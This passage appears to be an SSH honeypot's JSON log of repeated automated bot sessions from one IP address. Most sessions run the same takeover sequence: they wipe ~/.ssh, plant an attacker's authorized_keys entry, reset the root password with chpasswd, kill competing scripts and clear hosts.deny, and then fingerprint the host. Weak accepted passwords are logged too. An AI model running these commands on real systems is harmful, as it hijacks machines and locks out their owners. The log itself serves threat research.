0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:07:30.394564+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:07:31.201590+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:07:31.738332+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:07:32.331889+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:07:32.858475+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:07:33.278294+00:00","kind":"output","latency_ms":null,"data":"andy"},{"seq":29,"at":"2026-08-26T18:07:33.801400+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:07:34.957587+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:07:35.478131+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:07:36.774433+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"andy","password":"andy123","method":"password","accepted":true,"tier":"other"}]} {"id":"015510ba-cea4-469c-9467-beeb6085312d","name":"mellow-cheerful-moose","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":47128,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":542,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:04:40.564645+00:00","ended_at":"2026-08-26T18:04:41.652112+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T18:04:17.114414+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:04:17.651113+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:04:22.673364+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:04:23.375538+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:04:23.915220+00:00","kind":"input","latency_ms":null,"data":"echo \"root:uztifEH9oUlg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T18:04:24.472262+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T18:04:25.013791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:04:25.372050+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:04:25.927524+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:04:27.127538+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:04:27.667958+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:04:29.302372+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:04:29.845420+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:04:30.568381+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:04:31.114164+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:04:31.880813+00:00","kind":"output","latency_ms":null,"data":" 18:04:31 up 6 days, 14:54, 0 user, load average: 0.33, 0.32, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:04:32.423273+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:04:33.216499+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:04:33.750422+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:04:34.314071+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:04:34.857093+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:04:35.404287+00:00","kind":"output","latency_ms":null,"data":"top - 18:04:35 up 6 days, 14:54, 0 user, load average: 0.33, 0.32, 0.23\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:04:35.946667+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:04:36.392496+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:04:36.943342+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:04:37.195359+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:04:37.739938+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:04:38.100230+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T18:04:38.641713+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:04:40.020001+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:04:40.565801+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:04:41.478753+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwedcxzas","method":"password","accepted":true,"tier":"other"}]} {"id":"67859af0-a50c-42d2-acee-a97ec9efad1f","name":"bronzed-glassy-lapwing","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":34416,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":551,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:01:46.915015+00:00","ended_at":"2026-08-26T18:01:48.495916+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T18:01:23.146683+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:01:23.687531+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:01:29.494149+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:01:29.844855+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:01:30.391166+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Y96BNyt7icNT\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T18:01:30.943842+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T18:01:31.493047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:01:32.079962+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:01:32.624580+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:01:33.570575+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:01:34.122634+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:01:35.004406+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:01:35.551481+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:01:36.266225+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:01:36.818277+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:01:37.396331+00:00","kind":"output","latency_ms":null,"data":" 18:01:37 up 6 days, 14:51, 0 user, load average: 0.08, 0.09, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:01:37.943443+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:01:38.441323+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:01:38.999084+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:01:39.786354+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:01:40.339691+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:01:41.031240+00:00","kind":"output","latency_ms":null,"data":"top - 18:01:41 up 6 days, 14:51, 0 user, load average: 0.08, 0.09, 0.08\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:01:41.585664+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:01:41.858414+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:01:42.408792+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:01:43.197151+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:01:43.747864+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:01:44.524146+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T18:01:45.084172+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:01:46.366661+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:01:46.915547+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:01:48.328591+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin123!@","method":"password","accepted":true,"tier":"other"}]} {"id":"6f5791c3-fba9-4d8c-93d1-ac54ecc14cfc","name":"bashful-civil-jaguar","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":39658,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":551,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:58:46.871208+00:00","ended_at":"2026-08-26T17:58:47.874485+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T17:58:23.676280+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:58:24.229254+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:58:30.717776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:58:31.079892+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:58:31.632136+00:00","kind":"input","latency_ms":null,"data":"echo \"root:SssQaUBVuLeT\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:58:32.185117+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:58:32.740250+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:58:33.285157+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:58:33.829589+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:58:34.747583+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:58:35.297095+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:58:36.316203+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:58:36.864319+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:58:37.428109+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:58:37.980389+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:58:38.519217+00:00","kind":"output","latency_ms":null,"data":" 17:58:38 up 6 days, 14:48, 0 user, load average: 0.25, 0.18, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:58:39.067556+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:58:39.460621+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:58:40.015689+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:58:40.546609+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:58:41.099766+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:58:41.878152+00:00","kind":"output","latency_ms":null,"data":"top - 17:58:41 up 6 days, 14:48, 0 user, load average: 0.25, 0.18, 0.2\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:58:42.429830+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:58:43.051701+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:58:43.603694+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:58:44.009464+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:58:44.557455+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:58:44.917562+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:58:45.475127+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:58:46.324567+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:58:46.871831+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:58:47.707581+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"amsterdam","method":"password","accepted":true,"tier":"other"}]} {"id":"42c8c558-be26-41de-bb4f-a2857d57b4d0","name":"somber-frugal-raven","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":45384,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":527,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:55:47.776042+00:00","ended_at":"2026-08-26T17:55:48.730455+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:55:26.171355+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:55:26.691667+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:55:31.725448+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:55:31.986703+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:55:32.517371+00:00","kind":"input","latency_ms":null,"data":"echo \"root:NKP6xiJIFhES\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:55:33.040121+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:55:33.562238+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:55:33.872575+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:55:34.395548+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:55:35.662807+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:55:36.186767+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:55:37.316632+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:55:37.841231+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:55:38.118661+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:55:38.636157+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:55:39.012752+00:00","kind":"output","latency_ms":null,"data":" 17:55:39 up 6 days, 14:45, 0 user, load average: 0.23, 0.24, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:55:39.539623+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:55:39.814071+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:55:40.353400+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:55:40.747866+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:55:41.275544+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:55:42.064245+00:00","kind":"output","latency_ms":null,"data":"top - 17:55:42 up 6 days, 14:45, 0 user, load average: 0.23, 0.24, 0.24\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:55:42.601562+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:55:43.106409+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:55:43.637287+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:55:44.370094+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:55:44.900790+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:55:45.591590+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:55:46.117431+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:55:47.251438+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:55:47.776954+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:55:48.561223+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"amir","method":"password","accepted":true,"tier":"other"}]} {"id":"6e386465-3bb6-4d0e-94d3-53afdbec0a0f","name":"bashful-coastal-dingo","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":33048,"username":"b1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":528,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 